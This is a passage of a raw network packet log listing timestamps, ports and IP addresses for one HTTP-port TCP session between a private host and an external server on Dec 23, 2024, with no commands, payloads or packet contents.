Dec 23, 2024 17:16:45.290064096 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.290081024 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.290121078 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.290149927 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.290431976 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.290481091 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.290498018 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.290529966 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.291335106 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.291354895 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.291367054 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.291399956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.292129040 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.292175055 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.292236090 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.292577028 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.293147087 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.293195963 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.293227911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.293263912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.293682098 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.293715954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.293756962 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.293792963 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.294409990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.294452906 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.294596910 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.294639111 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.295238018 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.295274973 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.295319080 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.295363903 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.295933962 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.295975924 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.296006918 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.296041012 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.296725988 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.296768904 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.296817064 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.296853065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.297564030 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.297605991 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.297689915 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.297730923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.298438072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.298477888 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.298538923 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.298580885 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.299199104 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.299236059 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.299323082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.299364090 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.300024986 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.300064087 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.300126076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.300160885 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.300828934 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.300868988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.300925970 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.300968885 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.301774979 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.301812887 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.301899910 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.301948071 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.302531958 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.302570105 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.302645922 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.302694082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.303497076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.303536892 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.303550005 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.303589106 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.304249048 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.304289103 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.304317951 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.304373026 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.305018902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.305058956 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.305073023 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.305108070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.305813074 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.305852890 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.305867910 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.305903912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.306581974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.306629896 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.306665897 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.306711912 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.307527065 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.307571888 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.307837963 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.307915926 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.308288097 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.308331013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.308496952 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.308530092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.309020042 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.309056997 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.309132099 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.309170961 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.309843063 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.309879065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.309950113 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.309984922 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.310761929 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.310798883 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.310816050 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.310847998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.311614037 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.311651945 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.311675072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.311717987 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.312319994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.312356949 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.312470913 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.312505007 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.313157082 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.313196898 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.313235998 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.313271046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.314002991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.314042091 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.314055920 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.314095020 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.314789057 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.314825058 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.314877033 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.314909935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.315598011 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.315633059 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.315690994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.315721989 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.316483974 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.316507101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.316518068 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.316540003 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.317267895 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.317306042 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.317365885 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.317404032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.318058968 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.318094969 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.318155050 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.318190098 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.318932056 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.318967104 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.319044113 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.319091082 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.319811106 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.319848061 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.319917917 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.319953918 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.320539951 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.320580006 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.320720911 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.320759058 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.321336985 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.321372986 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.321436882 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.321477890 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.322196960 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.322231054 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.322293997 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.322324991 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.322993994 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.323033094 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.323090076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.323128939 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.323863029 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.323898077 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.323983908 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.324021101 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.324731112 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.324769974 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.324801922 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.324836016 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.325458050 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.325499058 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.325551033 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.325587988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.326272011 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.326312065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.326358080 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.326391935 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.327083111 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.327121019 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.327234983 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.327274084 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.327910900 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.327956915 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.328039885 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.328074932 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.328790903 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.328831911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.328921080 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.328982115 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.329591036 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.329633951 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.329668999 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.329730034 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.330542088 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.330585957 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.330745935 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.330787897 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.331907034 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.331965923 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.332163095 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.332206964 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.332722902 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.332776070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.332792997 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.332823038 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.333236933 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.333276033 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.481962919 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.482007027 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.482017040 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.482039928 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.482301950 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.482336044 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.482377052 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.482409954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.483139992 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.483179092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.483356953 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.483392954 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.483927965 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.483963013 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.484050989 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.484082937 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.484769106 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.484806061 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.484896898 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.484930992 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.485563040 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.485596895 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.485706091 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.485742092 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.486397028 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.486448050 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.486455917 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.486504078 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.487171888 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.487207890 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.487282991 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.487397909 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.488028049 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.488059998 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.488097906 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.488131046 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.488848925 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.488883018 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.488890886 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.488922119 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.489795923 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.489835978 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.489892960 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.489926100 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.490519047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.490550995 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.490633965 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.490668058 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.491348982 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.491384983 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.491457939 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.491488934 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.492099047 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.492135048 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.492336035 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.492398024 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.492990971 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.493025064 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.493125916 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.493159056 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.493747950 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.493793011 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.493942022 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.493977070 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.494573116 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.494607925 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.494759083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.494791985 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.495418072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.495459080 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.495496035 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.495528936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.496268034 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.496299028 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.496371984 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.496403933 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.497055054 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.497093916 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.497147083 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.497185946 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.497951984 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.497987032 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.498106956 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.498143911 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.498702049 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.498733997 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.498878002 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.498912096 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.499638081 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.499671936 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.499735117 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.499768019 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.500318050 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.500353098 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.500384092 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.500412941 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.501133919 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.501173019 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.501285076 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.501323938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.502012968 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.502053022 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.502135038 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.502168894 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.502757072 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.502799988 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.502861977 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.502898932 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.503643990 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.503680944 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.503705025 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.503735065 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.504435062 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.504483938 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.504497051 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.504529953 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.505280018 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.505326986 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.505376101 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.505412102 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.506125927 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.506165981 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.506345034 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.506383896 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:45.507091045 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:45.507123947 CET	49730	80	192.168.2.9	185.215.113.16
